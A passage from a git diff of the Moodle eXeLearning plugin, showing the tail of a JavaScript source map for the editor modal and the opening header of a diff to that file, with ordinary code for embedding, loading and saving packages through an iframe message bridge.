to store.\n * @returns {void}\n */\nconst persistUpdatedPackageUrl = (newUrl) => {\n    if (!newUrl || !session) {\n        return;\n    }\n    session.packageUrl = newUrl;\n    const selector = `[data-action=\"mod_exelearning/editor-open\"][data-cmid=\"${String(session.cmid)}\"]`;\n    const openButton = document.querySelector(selector);\n    if (openButton?.dataset) {\n        openButton.dataset.packageurl = newUrl;\n    }\n};\n\n/**\n * Rewrite the revision segment of a content URL and add a cache buster.\n *\n * @param {string} url The original content URL.\n * @param {number|string} revision The new revision number.\n * @returns {string} The updated URL, or the original if it cannot be rewritten.\n */\nconst updateContentUrlRevision = (url, revision) => {\n    if (!url || !revision) {\n        return url;\n    }\n    const normalizedRevision = String(revision).replace(/[^0-9]/g, '');\n    if (!normalizedRevision) {\n        return url;\n    }\n    const updated = url.replace(/(\\/mod_exelearning\\/content\\/)(\\d+)(\\/)/, `$1${normalizedRevision}$3`);\n    if (updated === url) {\n        return url;\n    }\n    const separator = updated.includes('?') ? '&' : '?';\n    return `${updated}${separator}v=${normalizedRevision}-${Date.now()}`;\n};\n\n/**\n * Refresh the activity content iframe so it points at the new revision.\n *\n * @param {number|string} revision The new revision number.\n * @returns {void}\n */\nconst refreshActivityIframe = (revision) => {\n    const activityIframe = document.getElementById('exelearningobject');\n    if (!activityIframe || !activityIframe.src) {\n        return;\n    }\n    const refreshedSrc = updateContentUrlRevision(activityIframe.src, revision);\n    if (refreshedSrc && refreshedSrc !== activityIframe.src) {\n        activityIframe.src = refreshedSrc;\n    }\n};\n\n/**\n * Set the save button label from a language string, with a fallback.\n *\n * @param {string} key The language string key.\n * @param {string} fallback The fallback text if the string cannot be loaded.\n * @returns {Promise<void>}\n */\nconst setSaveLabel = async(key, fallback) => {\n    if (!saveBtn) {\n        return;\n    }\n    try {\n        const text = await getString(key, key === 'closebuttontitle' ? 'core' : 'mod_exelearning');\n        saveBtn.innerHTML = '<i class=\"fa fa-graduation-cap mr-1\" aria-hidden=\"true\"></i> ' + text;\n    } catch {\n        saveBtn.innerHTML = '<i class=\"fa fa-graduation-cap mr-1\" aria-hidden=\"true\"></i> ' + fallback;\n    }\n};\n\n/**\n * Build and append the saving loading modal element.\n *\n * @returns {Promise<HTMLElement>} The created modal element.\n */\nconst createLoadingModal = async() => {\n    const modal = document.createElement('div');\n    modal.className = 'exeweb-loading-modal';\n    modal.id = 'exeweb-loading-modal';\n\n    let savingText = 'Saving...';\n    let waitText = 'Please wait while the file is being saved.';\n    try {\n        savingText = await getString('saving', 'mod_exelearning');\n        waitText = await getString('savingwait', 'mod_exelearning');\n    } catch {\n        // Use defaults.\n    }\n\n    modal.innerHTML = `\n        <div class=\"exeweb-loading-modal__content\">\n            <div class=\"exeweb-loading-modal__spinner\"></div>\n            <h3 class=\"exeweb-loading-modal__title\">${savingText}</h3>\n            <p class=\"exeweb-loading-modal__message\">${waitText}</p>\n        </div>\n    `;\n\n    document.body.appendChild(modal);\n    return modal;\n};\n\n/**\n * Show the saving loading modal, creating it if necessary.\n *\n * @returns {Promise<void>}\n */\nconst showLoadingModal = async() => {\n    if (!loadingModal) {\n        loadingModal = await createLoadingModal();\n    }\n    loadingModal.classList.add('is-visible');\n};\n\n/**\n * Hide the saving loading modal if it exists.\n *\n * @returns {void}\n */\nconst hideLoadingModal = () => {\n    if (loadingModal) {\n        loadingModal.classList.remove('is-visible');\n    }\n};\n\n/**\n * Remove the saving loading modal from the DOM.\n *\n * @returns {void}\n */\nconst removeLoadingModal = () => {\n    if (loadingModal) {\n        loadingModal.remove();\n        loadingModal = null;\n    }\n};\n\n/**\n * Ask the user to confirm closing when there are unsaved changes.\n *\n * @returns {Promise<boolean>} True if the close should be cancelled.\n */\nconst checkUnsavedChanges = async() => {\n    if (!hasUnsavedChanges) {\n        return false;\n    }\n    let message = 'You have unsaved changes. Are you sure you want to close?';\n    try {\n        message = await getString('unsavedchanges', 'mod_exelearning');\n    } catch {\n        // Use default.\n    }\n    return !window.confirm(message);\n};\n\n/**\n * Post a message to the embedded editor iframe.\n *\n * @param {object} message The message payload to send.\n * @param {Transferable[]} [transfer] Optional transferable objects.\n * @returns {void}\n */\nconst postToEditor = (message, transfer) => {\n    if (!iframe?.contentWindow) {\n        return;\n    }\n    if (transfer && transfer.length) {\n        iframe.contentWindow.postMessage(message, editorOrigin, transfer);\n    } else {\n        iframe.contentWindow.postMessage(message, editorOrigin);\n    }\n};\n\n/**\n * Clear the pending OPEN_FILE response timeout.\n *\n * @returns {void}\n */\nconst clearOpenResponseTimer = () => {\n    if (openResponseTimer) {\n        clearTimeout(openResponseTimer);\n        openResponseTimer = null;\n    }\n};\n\n/**\n * Schedule a retry of the initial package open, with backoff.\n *\n * @returns {void}\n */\nconst scheduleOpenRetry = () => {\n    if (openAttemptCount >= MAX_OPEN_ATTEMPTS) {\n        return;\n    }\n\n    setTimeout(() => {\n        openInitialPackage();\n    }, 300 * openAttemptCount);\n};\n\n/**\n * Arm a timeout that retries the open request if no response arrives.\n *\n * @returns {void}\n */\nconst armOpenResponseTimer = () => {\n    clearOpenResponseTimer();\n    openResponseTimer = setTimeout(() => {\n        if (!openRequestSent) {\n            return;\n        }\n\n        Log.error('[editor_modal] OPEN_FILE timeout waiting for response');\n        openRequestSent = false;\n        scheduleOpenRetry();\n    }, OPEN_RESPONSE_TIMEOUT_MS);\n};\n\n/**\n * Toggle the saving state, updating the button and loading modal.\n *\n * @param {boolean} saving Whether a save is in progress.\n * @returns {Promise<void>}\n */\nconst setSavingState = async(saving) => {\n    isSaving = saving;\n    if (!saveBtn) {\n        return;\n    }\n    saveBtn.disabled = saving;\n    if (saving) {\n        await setSaveLabel('saving', 'Saving...');\n        await showLoadingModal();\n    } else {\n        await setSaveLabel('savetomoodle', 'Save to Moodle');\n        hideLoadingModal();\n    }\n};\n\n/**\n * Fetch the current package and send it to the editor to open.\n *\n * @returns {Promise<void>}\n */\nconst openInitialPackage = async() => {\n    if (session?.skipOpenFileOnInit) {\n        return;\n    }\n    if (openRequestSent || !session?.packageUrl) {\n        return;\n    }\n\n    openRequestSent = true;\n    openAttemptCount += 1;\n\n    try {\n        const response = await fetch(session.packageUrl, {credentials: 'include'});\n        if (!response.ok) {\n            throw new Error(`HTTP ${response.status}: ${response.statusText}`);\n        }\n\n        const bytes = await response.arrayBuffer();\n        openRequestId = nextRequestId('open');\n\n        postToEditor({\n            type: 'OPEN_FILE',\n            requestId: openRequestId,\n            data: {\n                bytes,\n                filename: 'package.elpx',\n            },\n        });\n\n        armOpenResponseTimer();\n    } catch (error) {\n        Log.error('[editor_modal] Failed to open package:', error);\n        openRequestSent = false;\n        scheduleOpenRetry();\n    }\n};\n\n/**\n * Upload an exported package to Moodle and refresh the activity view.\n *\n * @param {object} payload The export payload from the editor.\n * @returns {Promise<void>}\n */\nconst uploadExportedFile = async(payload) => {\n    const bytes = payload?.bytes;\n    if (!bytes) {\n        throw new Error('Missing export bytes');\n    }\n\n    const filename = payload.filename || 'package.elpx';\n    const mimeType = payload.mimeType || 'application/zip';\n\n    const blob = new Blob([bytes], {type: mimeType});\n    const formData = new FormData();\n    formData.append('package', blob, filename);\n    formData.append('format', FIXED_EXPORT_FORMAT);\n    formData.append('cmid', String(session.cmid));\n    formData.append('sesskey', session.sesskey);\n\n    const response = await fetch(session.saveUrl, {\n        method: 'POST',\n        body: formData,\n        credentials: 'include',\n    });\n\n    const result = await response.json();\n    if (!response.ok || !result?.success) {\n        throw new Error(result?.error || `Save failed (${response.status})`);\n    }\n\n    const updatedPackageUrl = updatePackageUrlRevision(session.packageUrl, result.revision);\n    persistUpdatedPackageUrl(updatedPackageUrl);\n    refreshActivityIframe(result.revision);\n\n    hasUnsavedChanges = false;\n    await setSaveLabel('savedsuccess', 'Saved successfully');\n    close(true);\n\n    // Reload the activity page so the server-rendered blocks (detected gradable\n    // iDevices banner, participation summary, gradebook-driven UI) reflect the\n    // re-synced gradebook after save.php re-scanned the package. Refreshing only\n    // the content iframe would leave those stale (e.g. a removed trueorfalse\n    // would still show in \"Gradable iDevices detected\").\n    window.location.reload();\n};\n\n/**\n * Request the editor to export the current document for saving.\n *\n * @returns {Promise<void>}\n */\nconst requestExport = async() => {\n    if (isSaving || !iframe?.contentWindow) {\n        return;\n    }\n\n    await setSavingState(true);\n    exportRequestId = nextRequestId('export');\n\n    postToEditor({\n        type: 'REQUEST_EXPORT',\n        requestId: exportRequestId,\n        data: {\n            format: FIXED_EXPORT_FORMAT,\n            filename: 'package.elpx',\n        },\n    });\n};\n\n/**\n * Check that a postMessage event really comes from the embedded editor frame.\n *\n * The legacy eXeWeb bridge is kept for older static editor builds, but it must\n * enforce the same source/origin boundary as the modern bridge (RIE-010).\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {boolean} Whether the event belongs to the active editor iframe.\n */\nconst isEditorBridgeMessage = (event) => {\n    if (!iframe?.contentWindow || event.source !== iframe.contentWindow || !event.data) {\n        return false;\n    }\n    if (editorOrigin !== '*' && event.origin !== editorOrigin) {\n        return false;\n    }\n    return true;\n};\n\n/**\n * Handle protocol messages received from the embedded editor bridge.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise<void>}\n */\nconst handleBridgeMessage = async(event) => {\n    if (!isEditorBridgeMessage(event)) {\n        return;\n    }\n\n    const data = event.data;\n\n    switch (data.type) {\n        case 'EXELEARNING_READY':\n            postToEditor({\n                type: 'CONFIGURE',\n                requestId: nextRequestId('configure'),\n                data: {\n                    hideUI: {\n                        fileMenu: true,\n                        saveButton: true,\n                        userMenu: true,\n                    },\n                },\n            });\n            openInitialPackage();\n            break;\n\n        case 'DOCUMENT_LOADED':\n            if (saveBtn && !isSaving) {\n                saveBtn.disabled = false;\n            }\n            break;\n\n        case 'DOCUMENT_CHANGED':\n            hasUnsavedChanges = true;\n            break;\n\n        case 'OPEN_FILE_SUCCESS':\n            if (data.requestId === openRequestId && saveBtn && !isSaving) {\n                saveBtn.disabled = false;\n                openRequestSent = false;\n                openAttemptCount = 0;\n                clearOpenResponseTimer();\n            }\n            break;\n\n        case 'OPEN_FILE_ERROR':\n            if (data.requestId === openRequestId) {\n                Log.error('[editor_modal] OPEN_FILE_ERROR:', data.error);\n                openRequestSent = false;\n                clearOpenResponseTimer();\n                scheduleOpenRetry();\n            }\n            break;\n\n        case 'EXPORT_FILE':\n            if (data.requestId === exportRequestId) {\n                try {\n                    await uploadExportedFile(data);\n                } catch (error) {\n                    Log.error('[editor_modal] Upload failed:', error);\n                    await setSavingState(false);\n                }\n            }\n            break;\n\n        case 'REQUEST_EXPORT_ERROR':\n            if (data.requestId === exportRequestId) {\n                Log.error('[editor_modal] REQUEST_EXPORT_ERROR:', data.error);\n                await setSavingState(false);\n            }\n            break;\n\n        default:\n            break;\n    }\n};\n\n/**\n * Handle legacy bridge messages from older editor builds.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise<void>}\n */\nconst handleLegacyBridgeMessage = async(event) => {\n    if (!isEditorBridgeMessage(event)) {\n        return;\n    }\n\n    const data = event.data;\n    if (!data || data.source !== 'exeweb-editor') {\n        return;\n    }\n\n    if (data.type === 'editor-ready' && data.data?.packageUrl) {\n        const incomingUrl = data.data.packageUrl;\n        if (incomingUrl !== session?.packageUrl) {\n            session.packageUrl = incomingUrl;\n            openRequestSent = false;\n            openAttemptCount = 0;\n        }\n        openInitialPackage();\n    }\n\n    if (data.type === 'request-save') {\n        await requestExport();\n    }\n};\n\n/**\n * Dispatch an incoming window message to both bridge handlers.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise<void>}\n */\nconst handleMessage = async(event) => {\n    await handleBridgeMessage(event);\n    await handleLegacyBridgeMessage(event);\n};\n\n/**\n * Close the editor overlay when the Escape key is pressed.\n *\n * @param {KeyboardEvent} event The keydown event.\n * @returns {void}\n */\nconst handleKeydown = (event) => {\n    if (event.key === 'Escape') {\n        close(false);\n    }\n};\n\n/**\n * Close the editor overlay and tear down its state and listeners.\n *\n * @param {boolean} skipConfirm Skip the unsaved-changes confirmation when true.\n * @returns {Promise<void>}\n */\nexport const close = async(skipConfirm) => {\n    if (!overlay) {\n        return;\n    }\n    if (!skipConfirm) {\n        const shouldCancel = await checkUnsavedChanges();\n        if (shouldCancel) {\n            return;\n        }\n    }\n\n    const wasShowingLoader = isSaving || (skipConfirm === true);\n\n    overlay.remove();\n    overlay = null;\n    iframe = null;\n    saveBtn = null;\n    session = null;\n    openRequestSent = false;\n    openRequestId = null;\n    exportRequestId = null;\n    isSaving = false;\n    hasUnsavedChanges = false;\n    openAttemptCount = 0;\n    clearOpenResponseTimer();\n\n    document.body.style.overflow = '';\n    window.removeEventListener('message', handleMessage);\n    document.removeEventListener('keydown', handleKeydown);\n\n    if (wasShowingLoader) {\n        setTimeout(() => {\n            hideLoadingModal();\n            removeLoadingModal();\n        }, 1500);\n    } else {\n        hideLoadingModal();\n        removeLoadingModal();\n    }\n};\n\n/**\n * Open the embedded editor overlay for the given activity.\n *\n * @param {number|string} cmid The course module id.\n * @param {string} editorUrl The URL of the embedded editor.\n * @param {string} activityName The activity name shown in the header.\n * @param {string} packageUrl The URL of the current package file.\n * @param {string} saveUrl The endpoint used to save exported packages.\n * @param {string} sesskey The Moodle session key.\n * @returns {Promise<void>}\n */\nexport const open = async(cmid, editorUrl, activityName, packageUrl, saveUrl, sesskey) => {\n    Log.debug('[editor_modal] Opening editor for cmid:', cmid);\n\n    if (overlay) {\n        return;\n    }\n\n    // Close any promoted media player floating on the trusted page. The\n    // external-media relay opens YouTube/Vimeo in a top-layer <dialog>; it must\n    // not stay above the editor overlay we are about to open.\n    if (window.exeMediaHost && typeof window.exeMediaHost.closeAll === 'function') {\n        window.exeMediaHost.closeAll();\n    }\n\n    editorOrigin = getOrigin(editorUrl);\n    openAttemptCount = 0;\n    session = {\n        cmid,\n        editorUrl,\n        packageUrl: packageUrl || '',\n        skipOpenFileOnInit: !!packageUrl,\n        saveUrl,\n        sesskey,\n    };\n\n    overlay = document.createElement('div');\n    overlay.id = 'exeweb-editor-overlay';\n    overlay.className = 'exeweb-editor-overlay';\n\n    const header = document.createElement('div');\n    header.className = 'exeweb-editor-header';\n\n    const title = document.createElement('span');\n    title.className = 'exeweb-editor-title';\n    title.textContent = activityName || '';\n    header.appendChild(title);\n\n    const buttonGroup = document.createElement('div');\n    buttonGroup.className = 'exeweb-editor-buttons';\n\n    saveBtn = document.createElement('button');\n    saveBtn.className = 'btn btn-primary mr-2';\n    saveBtn.id = 'exeweb-editor-save';\n    saveBtn.disabled = true;\n    await setSaveLabel('savetomoodle', 'Save to Moodle');\n    saveBtn.addEventListener('click', requestExport);\n\n    const closeBtn = document.createElement('button');\n    closeBtn.className = 'btn btn-secondary';\n    closeBtn.id = 'exeweb-editor-close';\n    try {\n        closeBtn.textContent = await getString('closebuttontitle', 'core');\n    } catch {\n        closeBtn.textContent = 'Close';\n    }\n    closeBtn.addEventListener('click', () => close(false));\n\n    buttonGroup.appendChild(saveBtn);\n    buttonGroup.appendChild(closeBtn);\n    header.appendChild(buttonGroup);\n    overlay.appendChild(header);\n\n    iframe = document.createElement('iframe');\n    iframe.className = 'exeweb-editor-iframe';\n    iframe.src = editorUrl;\n    iframe.setAttribute('allow', 'fullscreen');\n    iframe.setAttribute('frameborder', '0');\n    iframe.addEventListener('load', () => {\n        if (!openRequestSent && session?.packageUrl) {\n            openInitialPackage();\n        }\n    });\n    overlay.appendChild(iframe);\n\n    document.body.appendChild(overlay);\n    document.body.style.overflow = 'hidden';\n\n    window.addEventListener('message', handleMessage);\n    document.addEventListener('keydown', handleKeydown);\n};\n\n/**\n * Initialise the delegated click handler that opens the editor.\n *\n * @returns {void}\n */\nexport const init = () => {\n    document.addEventListener('click', (event) => {\n        const button = event.target.closest('[data-action=\"mod_exelearning/editor-open\"]');\n        if (!button) {\n            return;\n        }\n\n        event.preventDefault();\n        open(\n            button.dataset.cmid,\n            button.dataset.editorurl,\n            button.dataset.activityname,\n            button.dataset.packageurl,\n            button.dataset.saveurl,\n            button.dataset.sesskey\n        );\n    });\n};\n"],"names":["overlay","iframe","saveBtn","loadingModal","editorOrigin","openRequestSent","openRequestId","exportRequestId","isSaving","hasUnsavedChanges","session","requestCounter","openAttemptCount","openResponseTimer","nextRequestId","prefix","Date","now","refreshActivityIframe","revision","activityIframe","document","getElementById","src","refreshedSrc","url","normalizedRevision","String","replace","updated","separator","includes","updateContentUrlRevision","setSaveLabel","async","key","fallback","text","innerHTML","showLoadingModal","modal","createElement","className","id","savingText","waitText","body","appendChild","createLoadingModal","classList","add","hideLoadingModal","remove","removeLoadingModal","postToEditor","message","transfer","_iframe","contentWindow","length","postMessage","clearOpenResponseTimer","clearTimeout","scheduleOpenRetry","setTimeout","openInitialPackage","setSavingState","saving","disabled","_session","skipOpenFileOnInit","_session2","packageUrl","response","fetch","credentials","ok","Error","status","statusText","bytes","arrayBuffer","type","requestId","data","filename","error","uploadExportedFile","payload","mimeType","blob","Blob","formData","FormData","append","cmid","sesskey","saveUrl","method","result","json","success","newUrl","selector","openButton","querySelector","dataset","packageurl","persistUpdatedPackageUrl","updatePackageUrlRevision","close","window","location","reload","requestExport","_iframe2","format","isEditorBridgeMessage","event","_iframe3","source","origin","handleMessage","hideUI","fileMenu","saveButton","userMenu","handleBridgeMessage","_data$data","incomingUrl","_session3","handleLegacyBridgeMessage","handleKeydown","skipConfirm","confirm","checkUnsavedChanges","wasShowingLoader","style","overflow","removeEventListener","open","editorUrl","activityName","debug","exeMediaHost","closeAll","URL","href","getOrigin","header","title","textContent","buttonGroup","addEventListener","closeBtn","setAttribute","_session4","button","target","closest","preventDefault","editorurl","activityname","saveurl"],"mappings":"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"}
\ No newline at end of file
diff --git a/amd/src/editor_modal.js b/amd/src/editor_modal.js
index 2914324..c084069 100644
--- a/amd/src/editor_modal.js
+++ b/amd/src/editor_modal.js
@@ -647,6 +647,13 @@ export const open = async(cmid, editorUrl, activityName, packageUrl, saveUrl, se
